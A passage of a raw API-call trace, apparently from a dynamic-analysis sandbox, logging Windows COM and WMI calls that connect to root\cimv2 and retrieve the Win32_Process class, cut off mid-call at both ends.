pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aaf560*=19, plFlavor=0x2aaf564*=0) returned 0x0 [0115.114] IWbemClassObject:Put (This=0x1b4da240, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0115.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0115.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0115.114] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0115.114] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.114] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0115.114] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0115.115] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0115.115] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.115] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b48ab50) returned 0x0 [0115.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48ab50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0115.115] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48ab50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x655970) returned 0x0 [0115.115] WbemDefPath:IUnknown:Release (This=0x1b48ab50) returned 0x0 [0115.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x655970) returned 0x0 [0115.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0115.116] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b48ae30) returned 0x0 [0115.116] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ae30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.116] WbemDefPath:IUnknown:Release (This=0x1b48ae30) returned 0x3 [0115.116] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0115.116] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0115.116] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0115.116] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0115.116] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0115.116] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0115.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x655970) returned 0x0 [0115.116] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0115.116] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0115.116] WbemDefPath:IWbemPath:SetText (This=0x655970, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0115.116] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0115.117] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0115.117] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.117] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0115.117] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0115.117] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0115.117] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.117] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b48abb0) returned 0x0 [0115.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0115.117] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48abb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b48abd0) returned 0x0 [0115.117] WbemLocator:IUnknown:Release (This=0x1b48abb0) returned 0x0 [0115.117] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b48abd0) returned 0x0 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0115.118] WbemLocator:IUnknown:AddRef (This=0x1b48abd0) returned 0x3 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0115.118] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0115.118] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0115.118] WbemLocator:IUnknown:Release (This=0x1b48abd0) returned 0x2 [0115.118] WbemLocator:IUnknown:Release (This=0x1b48abd0) returned 0x1 [0115.118] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0115.118] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0115.118] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48abd0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b48abd0) returned 0x0 [0115.118] WbemLocator:IUnknown:AddRef (This=0x1b48abd0) returned 0x3 [0115.118] WbemLocator:IUnknown:Release (This=0x1b48abd0) returned 0x2 [0115.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0115.118] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0115.118] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.118] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b48ac10) returned 0x0 [0115.119] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48ac10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x63bd20) returned 0x0 [0115.377] WbemLocator:IUnknown:QueryInterface (in: This=0x63bd20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b510830) returned 0x0 [0115.377] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510830, pProxy=0x63bd20, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0115.377] WbemLocator:IUnknown:Release (This=0x1b510830) returned 0x1 [0115.377] WbemLocator:IUnknown:QueryInterface (in: This=0x63bd20, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b510878) returned 0x0 [0115.377] WbemLocator:IUnknown:QueryInterface (in: This=0x63bd20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b510830) returned 0x0 [0115.378] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510830, pProxy=0x63bd20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0115.378] WbemLocator:IUnknown:Release (This=0x1b510830) returned 0x2 [0115.378] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x1 [0115.378] CoTaskMemFree (pv=0x1b462150) [0115.378] WbemLocator:IUnknown:Release (This=0x1b48ac10) returned 0x0 [0115.509] WbemLocator:IUnknown:QueryInterface (in: This=0x63bd20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b510878) returned 0x0 [0115.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0115.511] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0115.511] WbemLocator:IUnknown:QueryInterface (in: This=0x63bd20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0115.511] WbemLocator:IUnknown:AddRef (This=0x1b510878) returned 0x3 [0115.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0115.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0115.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b510758) returned 0x0 [0115.512] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510758, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.512] WbemLocator:IUnknown:Release (This=0x1b510758) returned 0x3 [0115.512] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0115.512] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0115.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b510840) returned 0x0 [0115.512] WbemLocator:IRpcOptions:Query (in: This=0x1b510840, pPrx=0x1b510878, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0115.512] WbemLocator:IUnknown:Release (This=0x1b510840) returned 0x3 [0115.512] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x2 [0115.512] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0115.512] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0115.512] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x63bd20) returned 0x0 [0115.512] WbemLocator:IUnknown:AddRef (This=0x63bd20) returned 0x4 [0115.513] WbemLocator:IUnknown:Release (This=0x63bd20) returned 0x3 [0115.513] WbemLocator:IUnknown:Release (This=0x63bd20) returned 0x2 [0115.513] SysStringLen (param_1=0x0) returned 0x0 [0115.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0115.513] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0115.513] WbemDefPath:IWbemPath:GetText (in: This=0x655970, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0115.513] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0115.513] WbemLocator:IUnknown:AddRef (This=0x1b510878) returned 0x3 [0115.513] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510878, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b510878) returned 0x0 [0115.513] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x3 [0115.513] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x2 [0115.513] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0115.513] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0115.513] IWbemServices:GetObject (in: This=0x63bd20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d7220, ppCallResult=0x0) returned 0x0 [0115.516] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0115.516] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0115.516] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0115.516] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0115.517] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0115.517] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0115.517] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.518] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b48ac70) returned 0x0 [0115.518] WbemDefPath:IUnknown:QueryInterface 